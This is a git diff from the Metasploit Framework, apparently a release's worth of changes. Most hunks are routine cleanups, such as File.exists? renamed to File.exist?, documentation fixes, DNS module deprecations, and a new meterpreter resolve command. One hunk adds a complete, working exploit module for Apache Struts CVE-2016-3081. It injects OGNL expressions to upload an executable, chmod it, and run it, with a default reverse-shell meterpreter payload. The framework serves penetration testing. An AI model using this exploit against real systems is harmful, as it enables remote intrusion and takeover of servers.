path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
if not File.exists?( path + ".rb" )
|
||||
if not File.exist?( path + ".rb" )
|
||||
# If the following "path" doesn't exist it will be caught when we attempt to load
|
||||
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
end
|
||||
|
|
|
@ -249,7 +249,7 @@ class Core
|
|||
|
||||
args.each do |res|
|
||||
good_res = nil
|
||||
if ::File.exists?(res)
|
||||
if ::File.exist?(res)
|
||||
good_res = res
|
||||
elsif
|
||||
# let's check to see if it's in the scripts/resource dir (like when tab completed)
|
||||
|
@ -258,7 +258,7 @@ class Core
|
|||
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
|
||||
].each do |dir|
|
||||
res_path = dir + ::File::SEPARATOR + res
|
||||
if ::File.exists?(res_path)
|
||||
if ::File.exist?(res_path)
|
||||
good_res = res_path
|
||||
break
|
||||
end
|
||||
|
@ -1254,7 +1254,7 @@ class Core
|
|||
|
||||
# If the plugin isn't in the user directory (~/.msf3/plugins/), use the base
|
||||
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
if not File.exists?( path + ".rb" )
|
||||
if not File.exist?( path + ".rb" )
|
||||
# If the following "path" doesn't exist it will be caught when we attempt to load
|
||||
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
end
|
||||
|
@ -3291,7 +3291,7 @@ class Core
|
|||
|
||||
# Determines if this is an apt-based install
|
||||
def is_apt
|
||||
File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt')))
|
||||
File.exist?(File.expand_path(File.join(Msf::Config.install_root, '.apt')))
|
||||
end
|
||||
|
||||
# Determines if we're a Metasploit Pro/Community/Express
|
||||
|
|
|
@ -1469,7 +1469,7 @@ class Db
|
|||
print_error("Can't make loot with no filename")
|
||||
return
|
||||
end
|
||||
if (!File.exists?(filename) or !File.readable?(filename))
|
||||
if (!File.exist?(filename) or !File.readable?(filename))
|
||||
print_error("Can't read file")
|
||||
return
|
||||
end
|
||||
|
@ -1979,13 +1979,13 @@ class Db
|
|||
return
|
||||
end
|
||||
if (args[0] == "-y")
|
||||
if (args[1] and not ::File.exists? ::File.expand_path(args[1]))
|
||||
if (args[1] and not ::File.exist? ::File.expand_path(args[1]))
|
||||
print_error("File not found")
|
||||
return
|
||||
end
|
||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
file = ::File.expand_path(file)
|
||||
if (::File.exists? file)
|
||||
if (::File.exist? file)
|
||||
db = YAML.load(::File.read(file))['production']
|
||||
framework.db.connect(db)
|
||||
|
||||
|
|
|
@ -220,7 +220,7 @@ class Driver < Msf::Ui::Driver
|
|||
if opts['Resource'].blank?
|
||||
# None given, load the default
|
||||
default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc')
|
||||
load_resource(default_resource) if ::File.exists?(default_resource)
|
||||
load_resource(default_resource) if ::File.exist?(default_resource)
|
||||
else
|
||||
opts['Resource'].each { |r|
|
||||
load_resource(r)
|
||||
|
@ -279,7 +279,7 @@ class Driver < Msf::Ui::Driver
|
|||
|
||||
fname = ::File.join(@junit_output_path, "#{bname}.xml")
|
||||
cnt = 0
|
||||
while ::File.exists?( fname )
|
||||
while ::File.exist?( fname )
|
||||
cnt += 1
|
||||
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
|
||||
end
|
||||
|
@ -314,7 +314,7 @@ class Driver < Msf::Ui::Driver
|
|||
# Generate the output path, allow multiple test with the same name
|
||||
fname = ::File.join(@junit_output_path, "#{bname}.xml")
|
||||
cnt = 0
|
||||
while ::File.exists?( fname )
|
||||
while ::File.exist?( fname )
|
||||
cnt += 1
|
||||
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
|
||||
end
|
||||
|
@ -416,7 +416,7 @@ class Driver < Msf::Ui::Driver
|
|||
if path == '-'
|
||||
resource_file = $stdin.read
|
||||
path = 'stdin'
|
||||
elsif ::File.exists?(path)
|
||||
elsif ::File.exist?(path)
|
||||
resource_file = ::File.read(path)
|
||||
else
|
||||
print_error("Cannot find resource script: #{path}")
|
||||
|
|
|
@ -37,7 +37,7 @@ module Msf
|
|||
kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
|
||||
kb = ''
|
||||
|
||||
if File.exists?(kb_path)
|
||||
if File.exist?(kb_path)
|
||||
File.open(kb_path, 'rb') { |f| kb = f.read }
|
||||
end
|
||||
|
||||
|
|
|
@ -173,8 +173,7 @@ module Msf
|
|||
|
||||
# Returns the markdown format for module authors.
|
||||
#
|
||||
# @param authors [Array] Module Authors
|
||||
# @param authors [String] Module author
|
||||
# @param authors [Array, String] Module Authors
|
||||
# @return [String]
|
||||
def normalize_authors(authors)
|
||||
if authors.kind_of?(Array)
|
||||
|
@ -205,8 +204,7 @@ module Msf
|
|||
|
||||
# Returns the markdown format for module platforms.
|
||||
#
|
||||
# @param platforms [Array] Module platforms.
|
||||
# @param platforms [String] Module platform.
|
||||
# @param platforms [Array, String] Module platforms.
|
||||
# @return [String]
|
||||
def normalize_platforms(platforms)
|
||||
if platforms.kind_of?(Array)
|
||||
|
|
|
@ -2253,9 +2253,9 @@ require 'msf/core/exe/segment_appender'
|
|||
path = ::File.expand_path(::File.join(
|
||||
::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com")
|
||||
)
|
||||
return true unless ::File.exists?(path)
|
||||
return true unless ::File.exist?(path)
|
||||
ret = false
|
||||
if ::File.exists?(path)
|
||||
if ::File.exist?(path)
|
||||
begin
|
||||
data = ::File.read(path)
|
||||
unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140"
|
||||
|
|
|
@ -44,7 +44,7 @@ class PayloadCachedSize
|
|||
def self.update_cache_constant(data, cached_size)
|
||||
data.
|
||||
gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, '').
|
||||
gsub(/^(module Metasploit\d+)\s*\n/) do |m|
|
||||
gsub(/^(module MetasploitModule)\s*\n/) do |m|
|
||||
"#{m.strip}\n\n CachedSize = #{cached_size}\n\n"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -138,7 +138,7 @@ def self.open_browser(url='http://google.com/')
|
|||
['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
# Does the browser exists?
|
||||
if File.exists?("#{path}/#{browser}")
|
||||
if File.exist?("#{path}/#{browser}")
|
||||
system("#{browser} #{url} &")
|
||||
return
|
||||
end
|
||||
|
@ -165,7 +165,7 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|||
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
|
||||
|
||||
paths.each do |path|
|
||||
if File.exists?(path)
|
||||
if File.exist?(path)
|
||||
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
||||
system("\"#{path}\" #{args} \"#{url}\"")
|
||||
return true
|
||||
|
@ -187,7 +187,7 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|||
['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
browser_path = "#{path}/#{browser}"
|
||||
if File.exists?(browser_path)
|
||||
if File.exist?(browser_path)
|
||||
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{browser_path} #{args} #{url} &")
|
||||
return true
|
||||
|
|
|
@ -24,7 +24,7 @@ class RopDb
|
|||
# Returns true if a ROP chain is available, otherwise false
|
||||
#
|
||||
def has_rop?(rop_name)
|
||||
File.exists?(File.join(@base_path, "#{rop_name}.xml"))
|
||||
File.exist?(File.join(@base_path, "#{rop_name}.xml"))
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -82,7 +82,7 @@ module FileUtils
|
|||
def self.find_full_path(file_name)
|
||||
|
||||
# Check for the absolute fast first
|
||||
if (file_name[0,1] == "/" and ::File.exists?(file_name) and ::File::Stat.new(file_name))
|
||||
if (file_name[0,1] == "/" and ::File.exist?(file_name) and ::File::Stat.new(file_name))
|
||||
return file_name
|
||||
end
|
||||
|
||||
|
|
|
@ -1,10 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'openssl/ccm'
|
||||
require 'metasm'
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'openssl/ccm'
|
||||
require 'metasm'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
###
|
||||
|
@ -112,7 +115,7 @@ module Rex
|
|||
|
||||
# Parse the metadata_entries and return a hashmap using the
|
||||
# following format:
|
||||
# {metadata_entry_type => {metadata_value_type => [fve_entry,...]}}
|
||||
# metadata_entry_type => metadata_value_type => [fve_entry,...]
|
||||
def fve_entries(metadata_entries)
|
||||
offset_entry = 0
|
||||
entry_size = metadata_entries[0, 2].unpack('v')[0]
|
||||
|
@ -215,7 +218,7 @@ module Rex
|
|||
end
|
||||
|
||||
# Produce a hash map using the following format:
|
||||
# {PROTECTION_TYPE => [fve_entry, fve_entry...]}
|
||||
# PROTECTION_TYPE => [fve_entry, fve_entry...]
|
||||
def vmk_entries
|
||||
res = {}
|
||||
(@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk|
|
||||
|
|
|
@ -132,7 +132,7 @@ class Client
|
|||
|
||||
# The SSL certificate is being passed down as a file path
|
||||
if opts[:ssl_cert]
|
||||
if ! ::File.exists? opts[:ssl_cert]
|
||||
if ! ::File.exist? opts[:ssl_cert]
|
||||
elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
|
||||
else
|
||||
# Load the certificate the same way that SslTcpServer does it
|
||||
|
|
|
@ -644,6 +644,16 @@ class ClientCore < Extension
|
|||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:luri] && opts[:luri].length > 0
|
||||
if opts[:luri][0] != '/'
|
||||
url << '/'
|
||||
end
|
||||
url << opts[:luri]
|
||||
if url[-1] == '/'
|
||||
url = url[0...-1]
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
|
|
@ -184,7 +184,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
#
|
||||
# Returns true if the remote file +name+ exists, false otherwise
|
||||
#
|
||||
def File.exists?(name)
|
||||
def File.exist?(name)
|
||||
r = client.fs.filestat.new(name) rescue nil
|
||||
r ? true : false
|
||||
end
|
||||
|
@ -302,7 +302,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
|
||||
# Check for changes
|
||||
src_stat = client.fs.filestat.new(src_file)
|
||||
if ::File.exists?(dest_file)
|
||||
if ::File.exist?(dest_file)
|
||||
dst_stat = ::File.stat(dest_file)
|
||||
if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime
|
||||
return 'skipped'
|
||||
|
|
|
@ -575,6 +575,7 @@ class Console::CommandDispatcher::Core
|
|||
'-p' => [ true, 'LPORT parameter' ],
|
||||
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
|
||||
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
|
||||
'-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ],
|
||||
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
|
||||
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
|
||||
'-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
|
||||
|
@ -656,6 +657,8 @@ class Console::CommandDispatcher::Core
|
|||
opts[:uri] = val
|
||||
when '-i'
|
||||
transport_index = val.to_i
|
||||
when '-lu'
|
||||
opts[:luri] = val
|
||||
when '-ph'
|
||||
opts[:proxy_host] = val
|
||||
when '-pp'
|
||||
|
|
|
@ -702,7 +702,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
client.framework.events.on_session_upload(client, src, dest) if msf_loaded?
|
||||
}
|
||||
elsif (stat.file?)
|
||||
if client.fs.file.exists?(dest) and client.fs.file.stat(dest).directory?
|
||||
if client.fs.file.exist?(dest) && client.fs.file.stat(dest).directory?
|
||||
client.fs.file.upload(dest, src) { |step, src, dst|
|
||||
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
|
||||
client.framework.events.on_session_upload(client, src, dest) if msf_loaded?
|
||||
|
|
|
@ -35,6 +35,13 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
attr_accessor :pfservice
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the resolve command
|
||||
#
|
||||
@@resolve_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help banner.' ],
|
||||
'-f' => [true, 'Address family - IPv4 or IPv6 (default IPv4)'])
|
||||
|
||||
#
|
||||
# Options for the route command.
|
||||
#
|
||||
|
@ -77,6 +84,7 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
"arp" => "Display the host ARP cache",
|
||||
"netstat" => "Display the network connections",
|
||||
"getproxy" => "Display the current proxy configuration",
|
||||
'resolve' => 'Resolve a set of host names on the target',
|
||||
}
|
||||
reqs = {
|
||||
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
|
@ -94,6 +102,7 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
"arp" => [ "stdapi_net_config_get_arp_table" ],
|
||||
"netstat" => [ "stdapi_net_config_get_netstat" ],
|
||||
"getproxy" => [ "stdapi_net_config_get_proxy" ],
|
||||
'resolve' => ['stdapi_net_resolve_host'],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
|
@ -474,6 +483,55 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
print_line( "Proxy Bypass : #{p[:proxybypass]}" )
|
||||
end
|
||||
|
||||
#
|
||||
# Resolve 1 or more hostnames on the target session
|
||||
#
|
||||
def cmd_resolve(*args)
|
||||
args.unshift('-h') if args.length == 0
|
||||
|
||||
hostnames = []
|
||||
family = AF_INET
|
||||
|
||||
@@resolve_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: resolve host1 host2 .. hostN [-h] [-f IPv4|IPv6]')
|
||||
print_line
|
||||
print_line(@@resolve_opts.usage)
|
||||
return false
|
||||
when '-f'
|
||||
if val.downcase == 'ipv6'
|
||||
family = AF_INET6
|
||||
elsif val.downcase != 'ipv4'
|
||||
print_error("Invalid family: #{val}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
hostnames << val
|
||||
end
|
||||
}
|
||||
|
||||
response = client.net.resolve.resolve_hosts(hostnames, family)
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Host resolutions',
|
||||
'Indent' => 4,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => ['Hostname', 'IP Address']
|
||||
)
|
||||
|
||||
response.each do |result|
|
||||
if result[:ip].nil?
|
||||
table << [result[:hostname], '[Failed To Resolve]']
|
||||
else
|
||||
table << [result[:hostname], result[:ip]]
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
|
|
@ -1,9 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# ADB protocol support
|
||||
##
|
||||
|
||||
require 'rex/proto/adb/message'
|
||||
|
||||
module Rex
|
||||
|
|
|
@ -52,7 +52,7 @@ module Steam
|
|||
|
||||
# Decodes an A2S_INFO response message
|
||||
#
|
||||
# @parameter response [String] the A2S_INFO resposne to decode
|
||||
# @param response [String] the A2S_INFO resposne to decode
|
||||
# @return [Hash] the fields extracted from the response
|
||||
def a2s_info_decode(response)
|
||||
# abort if it is impossibly short
|
||||
|
|
|
@ -240,7 +240,7 @@ class Rex::Socket::Comm::Local
|
|||
if @@ip6_lla_scopes.length == 0 and retry_scopes
|
||||
|
||||
# Linux specific interface lookup code
|
||||
if ::File.exists?( "/proc/self/net/igmp6" )
|
||||
if ::File.exist?( "/proc/self/net/igmp6" )
|
||||
::File.open("/proc/self/net/igmp6") do |fd|
|
||||
fd.each_line do |line|
|
||||
line = line.strip
|
||||
|
|
|
@ -57,7 +57,7 @@ module Shell
|
|||
def init_tab_complete
|
||||
if (self.input and self.input.supports_readline)
|
||||
self.input = Input::Readline.new(lambda { |str| tab_complete(str) })
|
||||
if Readline::HISTORY.length == 0 and histfile and File.exists?(histfile)
|
||||
if Readline::HISTORY.length == 0 and histfile and File.exist?(histfile)
|
||||
File.readlines(histfile).each { |e|
|
||||
Readline::HISTORY << e.chomp
|
||||
}
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'#, '1.1.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.6'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.8'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -325,11 +325,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
|
||||
when 'RNFR'
|
||||
send_response(c,arg,"RNRF",350," File exists")
|
||||
send_response(c,arg,"RNRF",350," File.exist")
|
||||
return
|
||||
|
||||
when 'RNTO'
|
||||
send_response(c,arg,"RNTO",350," File exists")
|
||||
send_response(c,arg,"RNTO",350," File.exist")
|
||||
return
|
||||
else
|
||||
send_response(c,arg,cmd.upcase,200," Command not understood")
|
||||
|
|
|
@ -8,8 +8,10 @@ require "net/dns/resolver"
|
|||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Brutefoce Enumeration',
|
||||
|
|
|
@ -7,8 +7,11 @@ require 'msf/core'
|
|||
require 'net/dns/resolver'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Non-Recursive Record Scraper',
|
||||
|
|
|
@ -8,8 +8,11 @@ require "net/dns/resolver"
|
|||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Basic Information Enumeration',
|
||||
|
|
|
@ -8,8 +8,11 @@ require "net/dns/resolver"
|
|||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Reverse Lookup Enumeration',
|
||||
|
|
|
@ -8,8 +8,11 @@ require "net/dns/resolver"
|
|||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Common Service Record Enumeration',
|
||||
|
|
|
@ -83,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
save_source.puts(res.body.to_s)
|
||||
save_source.close
|
||||
|
||||
print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
|
||||
print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
|
||||
|
||||
else
|
||||
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
|
||||
|
|
|
@ -74,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg))
|
||||
if(not ::File.exists?(path))
|
||||
if(not ::File.exist?(path))
|
||||
c.put "550 File does not exist\r\n"
|
||||
return
|
||||
end
|
||||
|
@ -134,7 +134,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg))
|
||||
if(not ::File.exists?(path))
|
||||
if(not ::File.exist?(path))
|
||||
c.put "550 File does not exist\r\n"
|
||||
return
|
||||
end
|
||||
|
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
npath = ::File.expand_path(::File.join(datastore['FTPROOT'], bpath))
|
||||
if not (::File.exists?(npath) and ::File.directory?(npath))
|
||||
if not (::File.exist?(npath) and ::File.directory?(npath))
|
||||
c.put "550 Directory does not exist\r\n"
|
||||
return
|
||||
end
|
||||
|
|
|
@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
filename = datastore['FILENAME']
|
||||
verbose = datastore['VERBOSE']
|
||||
count = 0
|
||||
unless File.exists? filename and File.file? filename
|
||||
unless File.exist? filename and File.file? filename
|
||||
print_error("Pcap File does not exist")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -0,0 +1,190 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in Apache Struts
|
||||
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
||||
Execution can be performed via method: prefix when Dynamic Method Invocation
|
||||
is enabled.
|
||||
},
|
||||
'Author' => [ 'Nixawk' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-3081' ],
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
|
||||
],
|
||||
'Platform' => %w{ linux },
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 27 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
|
||||
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def send_http_request(payload)
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
res = send_request_cgi(
|
||||
'uri' => "#{uri}#{payload}",
|
||||
'method' => 'POST')
|
||||
if res && res.code == 404
|
||||
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def parameterize(params) # params is a hash
|
||||
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
|
||||
end
|
||||
|
||||
def generate_rce_payload(code, params_hash)
|
||||
payload = "?method:"
|
||||
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode(code)
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
|
||||
payload << "&"
|
||||
payload << parameterize(params_hash)
|
||||
payload
|
||||
end
|
||||
|
||||
def temp_path
|
||||
@TMPPATH ||= lambda {
|
||||
path = datastore['TMPPATH']
|
||||
return nil unless path
|
||||
unless path.end_with?('/')
|
||||
path << '/'
|
||||
end
|
||||
return path
|
||||
}.call
|
||||
end
|
||||
|
||||
def upload_file(filename, content)
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
var_c = rand_text_alpha_lower(4)
|
||||
var_d = rand_text_alpha_lower(4)
|
||||
|
||||
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
|
||||
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
|
||||
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
|
||||
code << "##{var_b}.close()"
|
||||
|
||||
params_hash = { var_c => filename, var_d => content }
|
||||
payload = generate_rce_payload(code, params_hash)
|
||||
|
||||
send_http_request(payload)
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
var_c = rand_text_alpha_lower(4)
|
||||
var_d = rand_text_alpha_lower(4)
|
||||
var_e = rand_text_alpha_lower(4)
|
||||
var_f = rand_text_alpha_lower(4)
|
||||
|
||||
code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
|
||||
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
|
||||
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
|
||||
code << "##{var_d}=new char[1024],"
|
||||
code << "##{var_c}.read(##{var_d}),"
|
||||
|
||||
code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
||||
code << "##{var_e}.println(##{var_d}),"
|
||||
code << "##{var_e}.close()"
|
||||
|
||||
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
|
||||
params_hash = { var_f => cmd }
|
||||
payload = generate_rce_payload(code, params_hash)
|
||||
|
||||
send_http_request(payload)
|
||||
end
|
||||
|
||||
def linux_stager
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
path = temp_path || '/tmp/'
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
|
||||
b64_filename = Rex::Text.encode_base64(payload_exe)
|
||||
b64_content = Rex::Text.encode_base64(generate_payload_exe)
|
||||
|
||||
print_status("Uploading exploit to #{payload_exe}")
|
||||
upload_file(b64_filename, b64_content)
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command("chmod 700 #{payload_exe}")
|
||||
execute_command("/bin/sh -c #{payload_exe}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
linux_stager
|
||||
end
|
||||
|
||||
def check
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
|
||||
addend_one = rand_text_numeric(rand(3) + 1).to_i
|
||||
addend_two = rand_text_numeric(rand(3) + 1).to_i
|
||||
sum = addend_one + addend_two
|
||||
flag = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.close()"
|
||||
|
||||
params_hash = { var_b => flag }
|
||||
payload = generate_rce_payload(code, params_hash)
|
||||
|
||||
begin
|
||||
resp = send_http_request(payload)
|
||||
rescue Msf::Exploit::Failed
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Name' => 'Apache Jetspeed Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits the unsecured User Manager REST API and a ZIP file
|
||||
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
|
||||
path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
|
||||
versions, to upload and execute a shell.
|
||||
|
||||
Note: this exploit will create, use, and then delete a new admin user.
|
||||
|
|
|
